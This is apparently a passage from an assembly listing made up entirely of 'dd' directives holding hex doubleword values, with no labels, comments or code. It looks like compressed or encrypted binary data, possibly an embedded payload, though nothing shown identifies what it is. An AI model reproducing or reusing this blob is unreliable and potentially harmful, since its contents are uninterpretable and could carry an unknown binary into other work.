63581C94h dd 0CF5D97C0h, 1775D4C7h, 42B395E4h, 47DAC0BCh, 5281CC90h dd 6678ECA6h, 0C8E34F29h, 0B000CE11h, 0EE9E3DDBh, 467C1B94h dd 34C0F000h, 0BA1523C6h, 24D9F25Ah, 444CA74Bh, 43F080FBh dd 924B4759h, 81397088h, 64E605F7h, 4A88A103h, 0F7DB8522h dd 71B73FE1h, 207C02D4h, 2742F082h, 745A6856h, 0FBDA4038h dd 0FCF2E59Ah, 204454Ch, 4754441Ch, 3B44828Dh, 248C4434h dd 0AD4DF4Ch, 178B4C1h, 0BB011705h, 9182700Dh, 193ACD07h dd 15F0A1BDh, 13311227h, 2BEF55FFh, 38204E00h, 0DB7593h dd 0A25EA819h, 0DA67FFF6h, 2414D2Fh, 6FDED740h, 81A48C68h dd 8803E119h, 0B18A24A1h, 779488B2h, 0B3C03822h, 0E41070A5h dd 0D00A2DFh, 0B21208FFh, 0F30E5B52h, 5ED50060h, 1ABC4B55h dd 60C0508Ah, 8D90705Ch dd 22D9C404h, 48921C23h, 0C60110C1h, 83B4808Ah, 162CB6CFh dd 5279F782h, 0D4FCA48Ch, 60C8514Bh, 159100F2h, 2C8A553Bh dd 0B604FB0Ch, 0D1FD8654h, 2A0384EDh, 165B3576h, 0AA7C8180h dd 0F4121C5Ah, 0D1C1C062h, 0DC1C17ECh, 61003720h, 0C97BDC80h dd 13F92186h, 14C06A9h, 4ACFD2A4h, 64A6DC11h, 365E3007h dd 7EF59073h, 0B0F30805h, 0C10C1414h, 9FF4BDA2h, 24F215C8h dd 54BD8h, 0D59775Eh, 0B7002FD1h, 763E1DD4h, 0B15CBE9h dd 0BB4AAF6Ah, 9E0048ECh, 0AEA5F90Ch, 12823E3h, 654B211Fh dd 0DC77C425h, 0CB07547Bh, 15799D8Ah, 0AE320670h, 0A3DE06D3h dd 48EF93C3h, 9A138C00h, 69B02596h, 7C4E1797h, 8A743073h dd 0C10EF095h, 0FA4656h, 3630FC80h, 7E970038h, 0D8A733E7h dd 7938211Ch, 2A6F00F6h, 16904131h, 0C1C70702h, 0B0BE9319h dd 0A47DC2B0h, 3B0DF13Dh, 20CA2DCCh, 56019FE0h, 0D6AE30C5h dd 81A58B79h, 0A7D3BB00h, 2FA69C07h, 21515E4Ch, 6AF3C988h dd 31575C22h, 58252E50h, 0E300ECA2h, 0FEC4840Dh, 420F68B0h dd 0F7B48D57h, 7BA45C81h, 0FE8F2980h, 0D3E28465h, 83EFD712h dd 0BC2110F3h, 0A7D0F908h, 0E7B278C0h, 643C3000h, 0DA1BE994h dd 98404AA7h, 0C460B40Ch, 0F67C7F41h, 0A4D80099h, 810AC24Fh dd 80A9CE4Dh, 26A5F44Ah, 28CAC305h, 94022AD4h, 0C0FA746Ch dd 2471854Ch, 6460268Ah, 2E832233h, 0B4C75980h, 900064E0h dd 0B26FC84Eh, 400A50h, 0C2212246h, 0F443751Dh, 0F3010D01h dd 10E9C8B7h, 1A58CC0h, 23AD4674h, 9F38A0EBh, 4881FAD8h dd 159DEEACh, 0AE027822h, 0D2F268CBh, 0E71F14F9h, 0E98FC6DEh dd 752DA177h, 0F6FC2C21h, 82C7351Bh, 0F41480A0h, 0AE22CFA5h dd 0D7CE00D8h, 9975AD5Bh, 0EA012588h, 0C2EB0AB0h, 0D989F4A4h dd 146B4681h, 8D240DE0h, 49AD4B1Fh, 32F5B500h, 3E3ACEB0h dd 7D00845Ch, 0EB8D45E5h, 2F0086F2h, 0B44643E3h, 6BECC1Fh dd 0BD6B4214h, 0A88008A2h, 6EB89A90h, 15D36F02h, 40E16D83h dd 2D0DE3h, 0CB21CE42h, 9716A2E6h, 7AF37300h, 192FFAD4h dd 13F4D6h, 66682DC0h, 23869369h, 0E85A1B27h, 0CE3410h dd 85BF62C2h, 18A7ECF4h, 5FFFB500h, 0DF27E8ADh, 901C5029h dd 1ED23F30h, 359450C5h, 6612E22Bh, 0D0F3BAC4h, 8975C04Ch dd 4F78662Ah, 0EBACC823h, 9880E04Dh, 7F2F034Ch, 77604173h dd 687D7498h, 5AFD1C00h, 0CD6CEF90h, 0C090B5C6h, 797E0616h dd 0BC9E7701h, 0B26A0EF1h, 4274F1F2h, 0EC85C1B6h, 0F068E4BFh dd 0E9C3B388h, 48C6A100h, 7B279704h, 20A87CBEh, 5FA0503Fh dd 8CF21B0Eh, 0F6F6AE8Ah, 0A8951031h, 204CD4CAh, 0E53400C6h dd 69C2AB86h, 0DB0EF096h, 0A10665B3h, 0B7CA8550h, 0E175D468h dd 0AC8893FAh, 0B110D840h, 0D9E43315h, 8D289900h, 0D6CC4FFEh dd 205D4FC0h, 0DC09C864h, 0F300CBE4h, 2BA1C339h, 27B64755h dd 0E82468F9h, 0F8EC8389h, 0C2F8A9EDh, 41855B3Bh, 1828A58Ch dd 11012103h, 22C19B35h, 2A08487Ah, 3C071B4Ah, 2C72AEB1h dd 0F60DEB4h, 0D5E09043h, 0E953653Bh, 0EE7C1F01h, 0D35B16A3h dd 0FC07E180h, 0DBAA78F1h, 0C5C7B100h, 5D38DE0Bh, 706C001Ch dd 316B1B2Ch, 212F8BCEh, 0C9B021CAh, 90207CC8h, 3A4302B3h dd 903FDA1Fh, 0E8C7B84Ah, 9B397880h, 7D297ACh, 9A42ED6Ah dd 0D2B10D0h, 3029847h, 0CA7552F7h, 80CC56FEh, 6C79DA25h dd 20B52CBEh, 1696BFBCh, 20145B23h, 0E9D20AF4h, 0F54853B0h dd 7F3A36h, 7059341Eh, 0E402B72Eh, 0AF671366h, 13A6B8CEh dd 98A240DAh, 42BE5221h, 0CB7EC308h, 0C4AB0ABAh, 8481087Fh dd 1424C7FCh, 0D0E8276Ah, 55F94D02h, 71703372h, 43EF5C02h dd 0D1A270FDh, 0E49B00C8h, 0B3318F93h, 0C8D5642Dh, 93CB1088h dd 98F380C4h, 6CD954CDh, 420EBD0Bh, 598A00B2h, 0DB5504h dd 123011A5h, 7DB306DFh, 0BECF171Dh, 0FDAAF482h, 0C97874F9h dd 0A029898h, 60C7DE00h, 80EB683Dh, 0AEDB163Ah, 0B358492Eh dd 0C0024469h, 127B46D1h, 2CAE4E26h, 0B6F01125h, 7458FD04h dd 0A6CDF580h, 40109DE0h, 56271BD3h, 9EA86ED7h, 8D614014h dd 43043CD6h, 142BB1EFh, 53814181h, 1C3D0C39h, 2AC0884Ah dd 0B9ECD300h, 199799B0h, 30E674E4h, 0C46C0C6Dh, 44173318h dd 9F16DF8Dh, 9F43C400h, 4C549B57h, 0BC055B95h, 8C1F8CBEh dd 5E0065B4h, 0E6D7FC6Eh, 0B8E88919h, 0FCD05244h, 24949D76h dd 6B2BBD00h, 0B1C2718h, 52EF1F22h, 8C75C380h, 60225AEBh dd 7DE000C1h, 0E97ED219h, 0E7B8C76Fh, 572CDC04h, 3B8086EDh dd 384C9D69h, 4006BB2h, 2AC073A9h, 23986DE4h, 82CB1F05h dd 0D0B3B2DCh, 4C7E4B00h, 9B14C6DDh, 0A650B076h, 78B8CF08h dd 12B2BC44h, 0A2D24B81h, 0AEF30088h, 0F6D3D68Bh, 35EC1DA2h dd 1DB405F7h, 9DD088AFh, 0F8018A00h, 68E4425Eh, 9B95FEAh dd 30323C60h, 0DDB42C00h, 0A50131D9h, 22C2043Dh, 0EC222D0Eh dd 16AA4E02h, 40C0C373h, 0C188C701h, 0DA0D3AC4h, 0E1B64980h dd 0F5DEDF50h, 3BCF890Ah, 4E120C64h, 5452C4A0h, 0F6FD64D6h dd 4F9A004Ch, 0D30620DBh, 0CA252B88h, 0B91C4BFBh, 3F6B8156h dd 0D9FD11C0h, 0F8E8AE2Dh, 69E04B67h, 773EA600h, 3478CDEAh dd 7CA4183Bh, 0D8F1767Dh, 3EF4185Ch, 0EC00F499h, 20CCE9CEh dd 3D232BCDh, 3900A721h, 0DA88AEB7h, 0C64ECE3Eh, 13DB28D2h dd 0ECEA43D4h, 6340D768h, 0E6FCEBD2h, 86070250h, 0BC094981h dd 255180D4h, 30D40864h, 1A49D950h, 0CB504581h, 9288CC30h dd 37C10005h, 180F43C9h, 1004B8Ah, 8986FDFFh, 0F0D3ABEDh dd 41549A8Dh, 8507C8CCh, 8B0D80C8h, 88683BD9h, 0C96ADD2h dd 0FB004092h, 18A4C4E7h, 3CB000B7h, 0E039D269h, 0DC00A897h dd 4C247E2Bh, 1EA99585h, 80D3C465h, 0D497BA08h, 735F0A4Eh dd 71F5098h, 0BBAD46FEh, 0A090A0EDh, 0F8743170h, 2548C458h dd 9088CED3h, 98250046h, 1C4E6453h, 54772758h, 0A8BD7E03h dd 92B10C79h, 4134562Bh, 0D22C0DBBh, 45940880h, 244B1F74h dd 12660020h, 0DC9300C8h, 0D5BACB6h, 0F2F67D18h, 0EABA700h dd 0B4F37629h, 9AE502CDh, 6B026715h, 0CBFCA482h, 0D500CC6Eh dd 0D73A27DEh, 128C6514h, 0B55E1CB2h, 689C2500h, 20BEA00Ch dd 0F7801E78h, 92F38079h, 38F93A64h, 47B21000h, 0A6FA8316h dd 0E82B1C7Bh, 80DA7E1Fh, 7C23E577h, 0F09BBC00h, 96042136h dd 3F8A7B73h, 0C70E5A44h, 0E6720BA4h, 57E30260h, 80F5DA31h dd 4AB3ADEBh, 8EA32FCCh, 0EA9B3410h, 9609601Eh, 7304ADC0h dd 0F8E6750Ch, 8517089Ch, 0BB0472BCh, 99822043h, 45BC90FFh dd 196EF2BFh, 2982B427h, 1443DA3h, 0A18749D9h, 1483BC67h dd 0A1C63B6h, 0B7054AB0h, 5024DA50h, 9320D74Ch, 0C9A03467h dd 0E9B6F1Eh, 828DE5DAh, 2664E2F2h, 1100B14Eh, 99DEF223h dd 2A1F0732h, 0D9475B1Ch, 1900745Bh, 8EAF9F5Ch, 3F13001Eh dd 58E69484h, 53008BF5h, 80BEB447h, 78B1E075h, 48BC394Bh dd 3BEB2400h, 58403863h, 7E88C550h, 76893Ch, 4BCB547Ch dd 125349Dh, 87F3FE35h, 200446E3h, 0F0E58BBCh, 94F88C55h dd 8E3C0D3Fh, 30A42C23h, 42BC0893h, 4B87F240h, 7C811D1Ch dd 0B1F30999h, 0E7537C90h, 0D2829614h, 5DA43F08h, 2C4201BCh dd 0B1B2864Ch, 2D46CD6h, 6A5FBEBDh, 9C725851h, 0B0C81A5Fh dd 0F06303DDh, 9D41AC77h, 976EAFB0h, 0A25C3Ah, 30D3421Ch dd 392047Ah, 0D53B402Ch dd 0B117E14Fh, 2062FFC9h, 804E183Ah, 0F6C938A0h, 225C1C95h dd 3195C601h, 68AF6A18h, 59122814h, 6A038D69h, 0F8FEDFC8h dd 49B878D3h, 438254E4h, 48C65142h, 0D1F7C916h, 1C607C28h dd 0C91C7B0Dh, 0EC838CC1h, 4BE47A3Fh, 1670C646h, 101C4D8h dd 44EEF1C0h, 0FF0C65E0h, 814586A1h, 0D892CC10h, 5C43B420h dd 38A7D02Fh, 38C0001h, 3418778Fh, 0B40F1DD9h, 0FF3A7CDFh dd 30048E93h, 0B12CC95h, 19C5A0h, 0F550850h, 5317D386h dd 0ACB8FA64h, 984210h, 0F2357F16h, 71B15189h, 0E3AF3246h dd 6C632510h, 66824AE8h, 68F6B2FAh, 0AA4B9D00h, 16C6C5E3h dd 23A82592h, 0B5565080h, 3B0779D3h, 0C6466B1Ch, 0E11C02ABh dd 425CC4BEh, 7B7609F6h, 29389811h, 0E0C20099h, 48233762h dd 0CDF62776h, 0A407261Bh, 1BCAA48h, 0D28B41D9h, 0C0CE38FCh dd 9BEF5730h, 7C910FFEh, 84E0E570h, 4DAE2FD7h, 0C0E37903h dd 10B60222h, 9CBF988h, 11D54AD4h, 472F42Ch, 804F32C4h dd 87E9217Bh, 0E4E93D7Fh, 0CD2C69CBh, 0D14698A2h, 0D8BD5851h dd 0B1BBCE86h, 2C734422h, 62782C6Eh, 862472ADh, 44BEF340h dd 0E8002DCBh, 22587098h, 3B72478h, 0EB69BD50h, 0C0AC64B4h dd 6F814B00h, 0D0BED57Dh, 0A646D840h, 27082C4Eh, 98A45DCh dd 0DC593F44h, 39994240h, 547901FAh, 6DF653Eh, 538889Eh dd 604194BEh, 0E9246A20h, 0FF11B471h, 37DAAF05h, 0BFCD5F2h dd 0B0192CA0h, 30A865BCh, 98003100h, 15C51CC3h, 12FAAB7Bh dd 0F2DB238Ch, 1D8B0BE0h, 6B448413h, 42D4250Ah, 0B225BC56h dd 180690A8h, 384A1D8Dh, 112C950Eh, 963F0030h, 0C146AEh dd 3C03836Eh, 8BC8607Ch, 77A120h, 0EDF59D96h, 0ECF6583Bh dd 4CFAC26h, 0F794CB07h, 2048205Fh, 0B1D0AB54h, 860580DCh dd 180339B3h, 0C4C0E001h, 42AF30DEh, 312FB049h, 484CD420h dd 6C99B2CCh, 9CE8514Bh, 0C9AA5F58h, 7C64C2CBh, 1AA1F300h dd 39931CD1h, 8D7B0034h, 0D0EDCF35h, 0BE2F45B9h, 0E18C984Ch dd 0E7500EEh, 2A183601h, 26270663h, 61442CFh, 7BC9E4E8h dd 5599C0B3h, 0D5EAC8F9h, 47328203h, 0F0EE218Ch, 0EEB6BC38h dd 846901AEh, 94F21BB9h, 0A6643082h, 0D3626303h, 3CBB488h dd 2A441F49h, 0D7A8CFB5h, 0D4F41C65h, 9AA4BE00h, 0FB127497h dd 824C2FACh, 2B44091h, 0CE4407AEh, 80488993h, 0AF707FB8h dd 4FDB3C71h, 81509C45h, 0EC88485Eh, 8AF71244h, 11B0BCF8h dd 0B326BC54h, 6AAB6030h, 18007888h, 5875E33Bh, 4AFDED3Fh dd 81F8CAC9h, 0E782C7B7h, 0BC71A8h, 0EBD73867h, 0A94CB373h dd 38CF08A1h, 0E9AD82ECh, 0E51B60BBh, 0DD06010Ah, 96A9675h dd 0B45C8F8h, 0C5FACA2Fh, 487D0028h, 0E16E70ABh, 3F170700h dd 334CCC43h, 0D46426E6h, 4E724D5h, 84A7DC88h, 2C8B628h dd 0D54B4631h, 3C4389h, 78276D11h, 0D1AB9FB0h, 2B8BD750h dd 23000BE2h, 0E996FECEh, 1E21BF7h, 58C0285Eh, 2819E7CCh dd 0EEF880ACh, 42E597h, 3364F2DEh, 1507D721h, 2EE2CE02h dd 7EA440F0h, 723280E8h, 71589E4Fh, 2F48C705h, 0D016DBAFh dd 7C7A18A3h, 30A0951Fh, 0C086F35Fh, 0EBEA0A00h, 0FDA47403h dd 47D92CCBh, 645364B0h, 0FAD3CC1Fh, 98C22001h, 59CC46B7h dd 0D00912B9h, 184A88Bh, 0A1E80171h, 78545AE4h, 7789D61Fh dd 0C478ECh, 0BE29CA95h, 0A7FB0D2Ch, 767D4C16h, 0A85868A2h dd 0A001518Bh, 0D2BF5421h, 0EB250CE6h, 0CBD482h, 0DA70EFFDh dd 0B8957D3Eh, 185C024h, 0FC77678Eh, 24DB2F47h, 0D0A2BE5Ch dd 1F00B0C6h, 9965385Eh, 571AE7h, 4E535290h, 0E4662D0Fh dd 1FF8A400h, 0BE4A24D3h, 0F2E93FB6h, 6022F3Ch, 0B886ED16h dd 4CA319C0h, 44148878h, 7C900355h, 1190D205h, 8800BC35h dd 548166C3h, 61189EE5h, 3A39AE95h, 51FC3C20h, 6CDB007Ah dd 0A15CBD0h, 2F02629Ch, 0FD1C299Eh, 10A447F9h, 209C42F3h dd 40DA25C7h, 485BF0A9h, 276C4501h, 9C2AB78Eh, 2F859F20h dd 0E2B8A00Dh, 4C336F10h, 0B810A827h, 48D4B7Fh, 8B78D020h dd 39CB47E1h, 3D3AC0C0h, 95C9Ah, 0CB6B362Dh, 8EC9D86Ah dd 24853898h, 0C32243BEh, 3E6C1000h, 0A80FF795h, 4FA44891h dd 49010059h, 0C764A388h, 2E40BCD2h, 0D16F1422h, 284EE058h dd 500A710h, 4C5C1D84h, 3D69F6Bh, 4057D406h, 0F04C8367h dd 0AE78C0ECh, 1FABD282h, 0CBAF621Ch, 0D4808BC9h, 50757F83h dd 2FF18E7Dh, 0F0047488h, 4CB83Bh, 50A72EB0h, 0F7B99697h dd 0DE2BC300h, 246231E6h, 0D3BD057Dh, 4B3ACB2Dh, 0E0F9B4BCh dd 35465400h, 0F6D2AD6Eh, 1690E7h, 0E80C118h, 633F2308h dd 0E6D3C927h, 45F2000Ch, 0F0E34B9h, 0B307FA85h, 3D32EDE1h dd 21224D61h, 0F498007Fh, 0BB3526D1h, 10E5ECA1h, 52D31B2Ah dd 0BF0098ADh, 0F9A002C4h, 0B100445Ch, 881F51F6h, 7D0C8Dh dd 711C247Eh, 6CC2B47Bh, 0BA0BCD73h, 0D0CB3B07h, 3C2B0F9Ch dd 3FE52253h, 0CAE8F8DEh, 0D9427C1Bh, 60145546h, 71049300h dd 7092238Dh, 21E10027h, 1514D82Fh, 0D11786E6h, 0D088F1C4h dd 0A17B3BA5h, 0F9DB0280h, 66517C9Ch, 0E82BA835h, 0CD70C8h dd 5503B2B6h, 904E3EAFh, 1DCF3300h, 8FA52A82h, 717A0384h dd 0D880C4B3h, 0AC0C84FDh, 0FA0C815Ch, 1DC4D90Ah, 0E87200F0h dd 715A0EB2h, 0BB51405Bh, 80143C84h, 3717BDC7h, 0D91900D2h dd 0A69B44B4h, 28027FB3h, 0DAD03C7Eh, 2C405CC5h, 30E52D74h dd 3168300h, 727392CBh, 2CDC4C0Ah, 69669380h, 5FFE7DD8h dd 0CABAD302h, 7EDCF770h, 3914AC00h, 8425A5BAh, 380F5374h dd 3060E3D3h, 7DD92272h, 0E55EC900h, 650DAE61h, 7728139Ah dd 0C4AC01D7h, 2F7ABC21h, 2203B480h, 6EC208CCh, 5180D2AFh dd 0E590181Bh, 7D850764h, 0E1BB3CE0h, 337A46DAh, 8A890050h dd 1C9B85F2h, 798300C8h, 0F3D72903h, 0EE01D0ABh, 74333CC3h dd 0ECFE7213h, 0F5AF0140h, 73ADB382h, 5C046ACDh, 401FCB5Ch dd 0D3A8AD1h, 6A583014h, 0EF7113E8h, 27470C01h, 0C0832685h dd 0F1965852h, 41E51800h, 65C0B449h, 8656026Ah, 58BC82FFh dd 48571040h, 4B21726h, 21802A00h, 0F123EDh, 0C85B7C99h dd 8E42C1FBh, 0CC44E5Ch, 40B1400Eh, 743A20A8h, 0AFBC7010h dd 0E152317Ch, 0C889F519h, 0AD30D0AEh, 0D80BA816h, 86FF80C6h dd 7D3740h, 3B6F3587h, 0AF3389F6h, 79EBCD00h, 393E9395h dd 301318CAh, 0F2D14068h, 32AA74A0h, 870A7C84h, 83089610h dd 288E73AEh, 0A02B043h, 0F0A4D031h, 80C0993Ch, 43994A7Ah dd 1B0131FFh, 0D1842C6Ah, 0DDD2683h, 63048DDh, 1EEE00E3h dd 231F76DFh, 13FF4C0h, 4D81964Bh, 3F23C4A2h, 29784E0Fh dd 726400F0h, 133DD43Ah, 7E35F2Fh, 9F3EC52Ch, 7B5618A0h dd 97D72Ah, 3C504EECh, 6C9087h, 0AD510F47h, 9EC479B7h dd 48CA1603h, 128A5488h, 0EAE6BA20h, 0F1203310h, 2319A9F2h dd 0B18300F0h, 0E2CD5BF4h, 380D0097h, 0C1F3DB9Fh, 7804FA4Eh dd 63D82062h, 3CBBCCCCh, 8880138Eh, 0D56EC4CBh, 9E7DB9DBh dd 1B0AAB16h, 884ED0F3h, 47720C48h, 0CAA45101h, 2F6B3E1h dd 0F0587020h, 0F4580F4h, 8CD80328h, 94304E7Ch, 7224C08Eh dd 0D0B35B1Ch, 88D1DA54h, 0EE442A04h, 53EACEE9h, 17CE4CCh dd 0B188C901h, 57DF149Ah, 0C8A8802Ah, 9C995A8Fh, 0CE931700h dd 9FA0B47h, 0B93F71A9h, 9F3A4100h, 0EC016E66h, 263D2142h dd 0C12B162Ch, 8DA368FCh dd 68CFD690h, 9F1A9891h, 44288802h, 0FF001CDEh, 897688C7h dd 3D5620Eh, 57EEC41Ah, 58029560h, 1052FD15h, 2BBC60E0h dd 0FA5A023Bh, 0F14B4091h, 49092043h, 8295FDBAh, 2F41B90h dd 58C850D8h, 2F80E25Fh, 5A102ECBh, 0C0E54490h, 3F4ED0D2h dd 46376090h, 216C080Fh, 7E21000Bh, 0E7776E13h, 64F3DF3h dd 0A97CCC30h, 0B830E925h, 458240D4h, 80B1323Ah, 0A7AE9B6Eh dd 0EE625Ch, 0C3720A69h, 0FAC7C4A2h, 0F60082F8h, 5458FB0h dd 0E61092h, 26AB6D6Ah, 8CEDEBC5h, 80908800h, 0E8286FE3h dd 10A6012Dh, 3B1F215Ch, 6BC9CC99h, 9E6EC801h, 834F51A7h dd 13480DCh, 0C732BC85h, 0C05ED4F4h, 78001E2Fh, 0EA41D375h dd 0FC51326h, 0A4FD0F1Bh, 46710A20h, 0B200EF97h, 0BDD466B9h dd 0CAF4E2h, 0D5BA7E5Ah, 6398482Bh, 6C8B3600h, 4268F816h dd 804100A8h, 57B50EC5h, 3218ABFDh, 0DC191004h, 0A9D8005Ch dd 7DBEAF2Bh, 0BC3AB765h, 462060A1h, 23B0CEAh, 19ED687Ah dd 1A40BDE9h, 4C30FA7Eh, 0BC351839h, 0A504035Ch, 31157F3Ah dd 0A25F3CC0h, 28FE0BF0h, 60696303h, 3080702Dh, 5D80B458h dd 300186A2h, 6A3CB678h, 0E6E0A7BDh, 8390EA6Eh, 0D1FE34E0h dd 9EE818C7h, 3998726h, 0EC330973h, 68007B28h, 8A08EA0Dh dd 0CA7687Ch, 0F0FA0A91h, 0A3322BB9h, 225F807Fh, 2263047Bh dd 10995803h, 0B89F3DADh, 640A34A2h, 0C0E218B0h, 0AF3222A2h dd 0DE784FF8h, 9485F828h, 0E56FB61Ch, 0EA8E9842h, 65A486E1h dd 66C82190h, 7E10861Eh, 4CACF282h, 3332907h, 31C87456h dd 9EE8B028h, 0C8101BAEh, 23E0E166h, 0E306C040h, 93906A9h dd 6836C4EAh, 0C07840FFh, 86FB775h, 0A80415A9h, 3D95303Eh dd 3721010h, 98B06300h, 0A29F2CBCh, 2D7E00E7h, 0DB3E883Fh dd 300C76A6h, 2905CE10h, 9F088A8h, 957EA100h, 3F154A31h dd 0A4FF497h, 0E39BFAE5h, 194600FCh, 2840B0B4h, 0EA0FA573h dd 0C7D74B8Fh, 3C90F75Ah, 3E9F22h, 0A4257FC2h, 0B68698AEh dd 9E2EB300h, 7543513Ah, 0DA4000A0h, 274C78E9h, 0FF030BBFh dd 26C860E4h, 0C8AFF3FAh, 2CD28880h, 18EBAD04h, 0BAFC20FDh dd 9B26E37Bh, 0D5005268h, 0EC571AA0h, 5FEE3DC0h, 7D646581h dd 80CF2646h, 5EF64C10h, 0A13AB1h, 0A3BCFB86h, 0BE945A1Fh dd 0AE09900h, 0AF4510A5h, 1C05003Bh, 0BF1DB56Ch, 5C2857E8h dd 0ACFAB063h, 0C4E60D2Ch, 177FA900h, 0F21AE52h, 7916119Ah dd 60839266h, 0CACEE503h, 88054DECh, 31AAB5h, 0F46B1D9Eh dd 2A69C5DCh, 80D93A3Ch, 9282C61Ch, 66D86Dh, 0FC3F28BDh dd 0D7E4C870h, 9EA5A005h, 1BD14909h, 2E305C92h, 3DC60025h dd 0DEF13C75h, 3A03388Fh, 4583BD73h, 0EF69F061h, 5DDD0293h dd 3ED114B2h, 5979D6E0h, 9C0F6300h, 0D6E34CC0h, 0CE640BA7h dd 0DFC1A9h, 0A5DFC493h, 0AB5524DCh, 48B70028h, 9F4C47A3h dd 5CF0DA25h, 0BB960011h, 5742A84Dh, 0EC00DEFEh, 0F5C62C6Dh dd 0FFC9A7Ch, 9541204Eh, 0CAC0ABCFh, 449482FBh, 0EDFE4500h dd 1468693Ah, 33CF013Bh, 4FB9773Eh, 0B71989E8h, 627580E7h dd 7D036AD0h, 1E300F1h, 648DE699h, 0B1E65143h, 67002892h dd 0FC52D0B5h, 70EE205Eh, 31E72AD8h, 0A65516D8h, 0CC700005h dd 33A291ADh, 492B540Eh, 0F55F00A7h, 75A9D0h, 4CA44417h dd 134E9409h, 2BB03Fh, 0A00A5A7Eh, 0FA20346h, 88A5B26h dd 0F2278D8h, 0C83BF109h, 414C0052h, 32B37D44h, 10C9E24Dh dd 998DE060h, 63103C60h, 25B307h, 0E0223E75h, 0D281B49Dh dd 21551907h, 4418E60h, 5CF44650h, 2B390F0Ah, 4009A4C0h dd 0C39BE801h, 722ED4F1h, 0DAC1261Ch, 75168079h, 1E7D6864h dd 51410096h, 998C2486h, 8D00D96Ch, 343A87FFh, 48ECC079h dd 8601702Ch, 1F364E01h, 3A88D47Bh, 71E98500h, 0B12C50A6h dd 285E0763h, 0C03BB5DAh, 83C01370h, 34F04Dh, 1B15AE5Bh dd 0E3D043E2h, 39CE6080h, 7895C0Dh, 218020F7h, 0C2731B00h dd 80DA788Ch, 60B598BFh, 0E39C801Ah, 16484AFAh, 38E809F9h dd 3960A054h, 32CF7AEh, 1FB2ED13h, 6F833DFh, 5E066861h dd 0F5F64D04h, 461C3B11h, 154EEE00h, 1A2003B2h, 21FB600Fh dd 3D7D402Ah, 0F26171h, 8CC574D9h, 342B1975h, 0C4F8652Eh dd 16A28F00h, 77378A3h, 546047A8h, 1F59B084h, 0FDFC67BCh dd 2604D01Eh, 8DCD7F00h, 21A4A2h, 2E59DCFAh, 0E216AFFBh dd 11452916h, 0D3128B00h, 9E5BB1h, 0F1E6FE86h, 0FAE83423h dd 437C1300h, 45144AFBh, 0BEA04CB1h, 7B0CD806h, 8D0030E8h dd 0C0ACCBA7h, 1EE02BADh, 4A96CDCEh, 0BCA9A1h, 0B7F846Bh dd 1603DB10h, 5034DDB5h, 0E489D05Bh, 7DFFA06h, 0F032B11Ah dd 5E413002h, 0D41F8B38h, 6E87F104h, 479006B0h, 3B08A058h dd 4CC8B2C2h, 9A8FE00Fh, 90341227h, 0F786EF98h, 1DF0E360h dd 0CFB45Eh, 843225A8h, 26DABDB5h, 8F402749h, 0C0948FCAh dd 5C3BA824h, 8B800F58h, 1329DB6Ah, 0BC403000h, 0CE00AC51h dd 5D445566h, 8A71F4h, 0D6DD988Ch, 0FF6E30B0h, 0FED58200h dd 0FD6283F0h, 0B75E0EE2h, 0A3C0D9E8h, 4A390618h, 37700200h dd 4D2E7150h, 809A268Eh, 0A6400F0h, 0D40C55C7h, 6F127075h dd 2C007FD2h, 71D77321h, 489E7367h, 4C00E0AFh, 0CC4F0999h dd 8A00795Eh, 0B77EC4CAh, 303E814h, 3B40ACA8h, 66D87BFBh dd 57000CE3h, 6A058342h, 278699h, 0A3D27A15h, 5BF004E8h dd 0B40E49EEh, 0E0B86710h, 399DD378h, 0CA691D96h, 0EE770121h dd 0DC059BCFh, 4B0051F6h, 8ADE356Ch, 896B11h, 0FF546AFBh dd 0FE822103h, 1967FE90h, 0AE704811h, 309626h, 0C72F4D47h dd 4BD3D4E0h, 66E80900h, 606CABEFh, 9998C076h, 72D6112Eh dd 9D00C47Dh, 4F08912Ch, 0C29539h, 102D2614h, 4A35359h dd 71279000h, 0C4DBD381h, 1787E8AFh, 40327EBAh, 0DB8B32Ch dd 5673666Eh, 9D30FCEBh, 3A964A00h, 0AF124F91h, 8DE70009h dd 6B827049h, 200011E8h, 0BAB881C5h, 48591EA2h, 0F613AC57h dd 95AC07F3h, 3DF49093h, 8F00B32Ch, 0D40BF9EAh, 4D7B298Eh dd 3000883h, 0B3BAAC3Fh, 11060489h, 3DAD4509h, 1D8A399h dd 0CC690729h, 0D1790905h, 2944D00Eh, 3C247E54h, 0B8039B81h dd 0E410080Dh, 8BE1209Eh, 0CD61F0h, 0E3046686h, 0D5A9B1B5h dd 11F8000h, 0CC510B0Dh, 69432EC0h, 0FA9781B4h, 8083EAE7h dd 0CC99B164h, 0F4DFDA3Dh, 8D015C39h, 0C0C2F48h, 3C0A2E4h dd 0DC0320A4h, 0DDD55DDBh, 8244E28Ch, 836CE60Ch, 0BABBA70h dd 36DC98B0h, 888CCC80h, 8400E960h, 8339A9DDh, 3FA1A72Ah dd 0F39FE7F7h, 14044001h, 0CA6E878h, 0B799F40Fh, 56D98062h dd 60417047h, 0B5362093h, 96EEF24Bh, 75FE1D00h, 0F8C4606Bh dd 0C1F400ABh, 6566E928h, 0D01DA8Bh, 8F15154h, 0A9806768h dd 0D9C7FCF6h, 0C11C2FB5h, 320A5C59h, 0E6001006h, 76C5B19Ah dd 3FC009C6h, 70681472h, 0A73E9BE7h, 586F04FBh, 0D0C171B0h dd 0F9821909h, 0ACE48F41h, 0C1F838C8h, 60021F6h, 0AEEE602h dd 797EFDh, 0A96BE7AFh, 5FD92090h, 41403737h, 513603AEh dd 2982C80Ah, 37F58B0h, 0E6780577h, 0EBEC0C98h, 373F0CC0h dd 0A0F00F9h, 83B20214h, 0C00F0E6Dh, 80DF3549h, 0BE03340Bh dd 863066Eh, 20A75AC1h, 58F57600h, 299FCF20h, 0BD1D007Fh dd 3001496Ch, 7E74CD04h, 27BCB71Eh, 0A2A70Eh, 0B1660A0Ch dd 0E3BD0054h, 2A4C614h dd 7634E298h, 47011D2h, 0C79FE1FBh, 0F0C88C10h, 7D76EF99h dd 193E1F07h, 0C5F0CDE3h, 0EC924Fh, 0D1237972h, 0E2A6B15Bh dd 1DDBF100h, 75424933h, 0AD9C0790h, 10F3E8ACh, 0DE9E619Bh dd 6CC6FB00h, 38270E24h, 84B100C4h, 0E2F550DBh, 6A7CA586h dd 6400DAE4h, 62439096h, 38AAE7h, 456FCEE4h, 7FE2C799h dd 7A48E500h, 0DACF6E1Ah, 376800BBh, 0D2018EA3h, 0F1003B41h dd 7F33E46Fh, 2A7EABAh, 3F6C24DEh, 8A63FC5Dh, 0EBA916F0h dd 3A29EE00h, 8D7F5A13h, 0CCB03C7Eh, 0C01EDC1Eh, 0E421899Dh dd 0EF008279h, 0CE679211h, 578CD6h, 4546175Ah, 8D0C88FEh 